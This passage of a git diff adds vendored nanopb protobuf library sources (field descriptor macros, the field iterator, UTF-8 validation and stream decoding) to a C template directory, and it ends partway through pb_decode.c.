PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname) + +#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple) +#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname +#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername +#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname + +#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \ + PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname) + +#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname)) +#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) +#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE) +#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SI_PB_LTYPE_BOOL(t) +#define PB_SI_PB_LTYPE_BYTES(t) +#define PB_SI_PB_LTYPE_DOUBLE(t) +#define PB_SI_PB_LTYPE_ENUM(t) +#define PB_SI_PB_LTYPE_UENUM(t) +#define PB_SI_PB_LTYPE_FIXED32(t) +#define PB_SI_PB_LTYPE_FIXED64(t) +#define PB_SI_PB_LTYPE_FLOAT(t) +#define PB_SI_PB_LTYPE_INT32(t) +#define PB_SI_PB_LTYPE_INT64(t) +#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_SFIXED32(t) +#define PB_SI_PB_LTYPE_SFIXED64(t) +#define PB_SI_PB_LTYPE_SINT32(t) +#define PB_SI_PB_LTYPE_SINT64(t) +#define PB_SI_PB_LTYPE_STRING(t) +#define PB_SI_PB_LTYPE_UINT32(t) +#define PB_SI_PB_LTYPE_UINT64(t) +#define PB_SI_PB_LTYPE_EXTENSION(t) +#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t) +#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg), + +/* The field descriptors use a variable width format, with width of either + * 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always + * encode the descriptor size, 6 lowest bits of field tag number, and 8 bits + * of the field type. + * + * Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words. + * + * Formats, listed starting with the least significant bit of the first word. + * 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size] + * + * 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset] + * [16-bit data_offset] [12-bit data_size] [4-bit tag>>6] + * + * 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * + * 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * [32-bit array_size] + * [32-bit reserved] + * [32-bit reserved] + * [32-bit reserved] + */ + +#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \ + (0 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \ + (((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)), + +#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \ + (1 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \ + (((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)), + +#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \ + (2 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), + +#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \ + (3 | (((tag) << 2) & 0xFF) | ((type) << 8)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), (array_size), 0, 0, 0, + +/* These assertions verify that the field information fits in the allocated space. + * The generator tries to automatically determine the correct width that can fit all + * data associated with a message. These asserts will fail only if there has been a + * problem in the automatic logic - this may be worth reporting as a bug. As a workaround, + * you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting + * descriptorsize option in .options file. + */ +#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<2GB messages with nanopb anyway. + */ +#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag) + +#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag) +#endif + + +/* Automatic picking of FIELDINFO width: + * Uses width 1 when possible, otherwise resorts to width 2. + * This is used when PB_BIND() is called with "AUTO" as the argument. + * The generator will give explicit size argument when it knows that a message + * structure grows beyond 1-word format limits. + */ +#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype) +#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2 +#define PB_FI_WIDTH_PB_LTYPE_BOOL 1 +#define PB_FI_WIDTH_PB_LTYPE_BYTES 2 +#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1 +#define PB_FI_WIDTH_PB_LTYPE_ENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_UENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1 +#define PB_FI_WIDTH_PB_LTYPE_INT32 1 +#define PB_FI_WIDTH_PB_LTYPE_INT64 1 +#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2 +#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_STRING 2 +#define PB_FI_WIDTH_PB_LTYPE_UINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_UINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2 + +/* The mapping from protobuf types to LTYPEs is done using these macros. */ +#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL +#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES +#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT +#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE +#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB +#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING +#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION +#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES + +/* These macros are used for giving out error messages. + * They are mostly a debugging aid; the main error information + * is the true/false return value from functions. + * Some code space can be saved by disabling the error + * messages if not used. + * + * PB_SET_ERROR() sets the error message if none has been set yet. + * msg must be a constant string literal. + * PB_GET_ERROR() always returns a pointer to a string. + * PB_RETURN_ERROR() sets the error and returns false from current + * function. + */ +#ifdef PB_NO_ERRMSG +#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream) +#define PB_GET_ERROR(stream) "(errmsg disabled)" +#else +#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg)) +#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)") +#endif + +#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#ifdef __cplusplus +#if __cplusplus >= 201103L +#define PB_CONSTEXPR constexpr +#else // __cplusplus >= 201103L +#define PB_CONSTEXPR +#endif // __cplusplus >= 201103L + +#if __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR inline constexpr +#else // __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR PB_CONSTEXPR +#endif // __cplusplus >= 201703L + +extern "C++" +{ +namespace nanopb { +// Each type will be partially specialized by the generator. +template struct MessageDescriptor; +} // namespace nanopb +} +#endif /* __cplusplus */ + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c new file mode 100644 index 0000000..6aee76b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c @@ -0,0 +1,388 @@ +/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c. + * + * 2014 Petteri Aimonen + */ + +#include "pb_common.h" + +static bool load_descriptor_values(pb_field_iter_t *iter) +{ + uint32_t word0; + uint32_t data_offset; + int_least8_t size_offset; + + if (iter->index >= iter->descriptor->field_count) + return false; + + word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + iter->type = (pb_type_t)((word0 >> 8) & 0xFF); + + switch(word0 & 3) + { + case 0: { + /* 1-word format */ + iter->array_size = 1; + iter->tag = (pb_size_t)((word0 >> 2) & 0x3F); + size_offset = (int_least8_t)((word0 >> 24) & 0x0F); + data_offset = (word0 >> 16) & 0xFF; + iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F); + break; + } + + case 1: { + /* 2-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + + iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6)); + size_offset = (int_least8_t)((word0 >> 28) & 0x0F); + data_offset = word1 & 0xFFFF; + iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF); + break; + } + + case 2: { + /* 4-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + + iter->array_size = (pb_size_t)(word0 >> 16); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + + default: { + /* 8-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]); + + iter->array_size = (pb_size_t)word4; + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + } + + if (!iter->message) + { + /* Avoid doing arithmetic on null pointers, it is undefined */ + iter->pField = NULL; + iter->pSize = NULL; + } + else + { + iter->pField = (char*)iter->message + data_offset; + + if (size_offset) + { + iter->pSize = (char*)iter->pField - size_offset; + } + else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED && + (PB_ATYPE(iter->type) == PB_ATYPE_STATIC || + PB_ATYPE(iter->type) == PB_ATYPE_POINTER)) + { + /* Fixed count array */ + iter->pSize = &iter->array_size; + } + else + { + iter->pSize = NULL; + } + + if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL) + { + iter->pData = *(void**)iter->pField; + } + else + { + iter->pData = iter->pField; + } + } + + if (PB_LTYPE_IS_SUBMSG(iter->type)) + { + iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index]; + } + else + { + iter->submsg_desc = NULL; + } + + return true; +} + +static void advance_iterator(pb_field_iter_t *iter) +{ + iter->index++; + + if (iter->index >= iter->descriptor->field_count) + { + /* Restart */ + iter->index = 0; + iter->field_info_index = 0; + iter->submessage_index = 0; + iter->required_field_index = 0; + } + else + { + /* Increment indexes based on previous field type. + * All field info formats have the following fields: + * - lowest 2 bits tell the amount of words in the descriptor (2^n words) + * - bits 2..7 give the lowest bits of tag number. + * - bits 8..15 give the field type. + */ + uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF; + pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3)); + + /* Add to fields. + * The cast to pb_size_t is needed to avoid -Wconversion warning. + * Because the data is is constants from generator, there is no danger of overflow. + */ + iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len); + iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED)); + iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type)); + } +} + +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message) +{ + memset(iter, 0, sizeof(*iter)); + + iter->descriptor = desc; + iter->message = message; + + return load_descriptor_values(iter); +} + +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension) +{ + const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg; + bool status; + + uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]); + if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER) + { + /* For pointer extensions, the pointer is stored directly + * in the extension structure. This avoids having an extra + * indirection. */ + status = pb_field_iter_begin(iter, msg, &extension->dest); + } + else + { + status = pb_field_iter_begin(iter, msg, extension->dest); + } + + iter->pSize = &extension->found; + return status; +} + +bool pb_field_iter_next(pb_field_iter_t *iter) +{ + advance_iterator(iter); + (void)load_descriptor_values(iter); + return iter->index != 0; +} + +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag) +{ + if (iter->tag == tag) + { + return true; /* Nothing to do, correct field already. */ + } + else if (tag > iter->descriptor->largest_tag) + { + return false; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + if (tag < iter->tag) + { + /* Fields are in tag number order, so we know that tag is between + * 0 and our start position. Setting index to end forces + * advance_iterator() call below to restart from beginning. */ + iter->index = iter->descriptor->field_count; + } + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for tag number match */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F)) + { + /* Good candidate, check further */ + (void)load_descriptor_values(iter); + + if (iter->tag == tag && + PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION) + { + /* Found it */ + return true; + } + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +bool pb_field_iter_find_extension(pb_field_iter_t *iter) +{ + if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION) + { + return true; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for field type */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION) + { + return load_descriptor_values(iter); + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +static void *pb_const_cast(const void *p) +{ + /* Note: this casts away const, in order to use the common field iterator + * logic for both encoding and decoding. The cast is done using union + * to avoid spurious compiler warnings. */ + union { + void *p1; + const void *p2; + } t; + t.p2 = p; + return t.p1; +} + +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message) +{ + return pb_field_iter_begin(iter, desc, pb_const_cast(message)); +} + +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension) +{ + return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension)); +} + +bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field) +{ + if (field->data_size == sizeof(pb_callback_t)) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + + if (pCallback != NULL) + { + if (istream != NULL && pCallback->funcs.decode != NULL) + { + return pCallback->funcs.decode(istream, field, &pCallback->arg); + } + + if (ostream != NULL && pCallback->funcs.encode != NULL) + { + return pCallback->funcs.encode(ostream, field, &pCallback->arg); + } + } + } + + return true; /* Success, but didn't do anything */ + +} + +#ifdef PB_VALIDATE_UTF8 + +/* This function checks whether a string is valid UTF-8 text. + * + * Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c + * Original copyright: Markus Kuhn 2005-03-30 + * Licensed under "Short code license", which allows use under MIT license or + * any compatible with it. + */ + +bool pb_validate_utf8(const char *str) +{ + const pb_byte_t *s = (const pb_byte_t*)str; + while (*s) + { + if (*s < 0x80) + { + /* 0xxxxxxx */ + s++; + } + else if ((s[0] & 0xe0) == 0xc0) + { + /* 110XXXXx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[0] & 0xfe) == 0xc0) /* overlong? */ + return false; + else + s += 2; + } + else if ((s[0] & 0xf0) == 0xe0) + { + /* 1110XXXX 10Xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */ + (s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */ + (s[0] == 0xef && s[1] == 0xbf && + (s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */ + return false; + else + s += 3; + } + else if ((s[0] & 0xf8) == 0xf0) + { + /* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[3] & 0xc0) != 0x80 || + (s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */ + (s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */ + return false; + else + s += 4; + } + else + { + return false; + } + } + + return true; +} + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h new file mode 100644 index 0000000..58aa90f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h @@ -0,0 +1,49 @@ +/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c. + * These functions are rarely needed by applications directly. + */ + +#ifndef PB_COMMON_H_INCLUDED +#define PB_COMMON_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initialize the field iterator structure to beginning. + * Returns false if the message type is empty. */ +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message); + +/* Get a field iterator for extension field. */ +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension); + +/* Same as pb_field_iter_begin(), but for const message pointer. + * Note that the pointers in pb_field_iter_t will be non-const but shouldn't + * be written to when using these functions. */ +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message); +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension); + +/* Advance the iterator to the next field. + * Returns false when the iterator wraps back to the first field. */ +bool pb_field_iter_next(pb_field_iter_t *iter); + +/* Advance the iterator until it points at a field with the given tag. + * Returns false if no such field exists. */ +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag); + +/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found. + * There can be only one extension range field per message. */ +bool pb_field_iter_find_extension(pb_field_iter_t *iter); + +#ifdef PB_VALIDATE_UTF8 +/* Validate UTF-8 text string */ +bool pb_validate_utf8(const char *s); +#endif + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c new file mode 100644 index 0000000..b3f96fc --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c @@ -0,0 +1,1728 @@ +/* pb_decode.c -- decode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +#include "pb.h" +#include "pb_decode.h" +#include "pb_common.h" + +/************************************** + * Declarations internal to this file * + **************************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof); +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size); +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn default_extension_decoder(pb_istream_t *stream, pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type); +static bool checkreturn decode_extension(pb_istream_t *stream, uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension); +static bool pb_field_set_to_default(pb_field_iter_t *field); +static bool pb_message_set_to_defaults(pb_field_iter_t *iter); +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_skip_varint(pb_istream_t *stream); +static bool checkreturn pb_skip_string(pb_istream_t *stream); + +#ifdef PB_ENABLE_MALLOC +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size); +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field); +static bool checkreturn pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field); +static void pb_release_single_field(pb_field_iter_t *field); +#endif + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +typedef struct { + uint32_t bitfield[(PB_MAX_REQUIRED_FIELDS + 31) / 32]; +} pb_fields_seen_t; + +/******************************* + * pb_istream_t implementation * + *******************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + const pb_byte_t *source = (const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + count; + + if (buf != NULL) + { + memcpy(buf, source, count * sizeof(pb_byte_t)); + } + + return true; +} + +bool checkreturn pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + if (count == 0) + return true; + +#ifndef PB_BUFFER_ONLY + if (buf == NULL && stream->callback != buf_read) + { + /* Skip input bytes */ + pb_byte_t tmp[16]; + while (count > 16) + { + if (!pb_read(stream, tmp, 16)) + return false; + + count -= 16; + } + + return pb_read(stream, tmp, count); + } +#endif + + if (stream->bytes_left < count) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!buf_read(stream, buf, count)) + return false; +#endif + + if (stream->bytes_left < count) + stream->bytes_left = 0; + else + stream->bytes_left -= count; + + return true; +} + +/* Read a single byte from input stream. buf may not be NULL. + * This is an optimization for the varint decoding. */ +static bool checkreturn pb_readbyte(pb_istream_t *stream, pb_byte_t *buf) +{ + if (stream->bytes_left == 0) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, 1)) + PB_RETURN_ERROR(stream, "io error"); +#else + *buf = *(const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + 1; +#endif + + stream->bytes_left--; + + return true; +} + +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen) +{ + pb_istream_t stream; + /* Cast away the const from buf without a compiler error. We are + * careful to use it only in a const manner in the callbacks. + */ + union { + void *state; + const void *c_state; + } state; +#ifdef PB_BUFFER_ONLY + stream.callback = NULL; +#else + stream.callback = &buf_read; +#endif + state.c_state = buf; + stream.state = state.state; + stream.bytes_left = msglen; +#ifndef 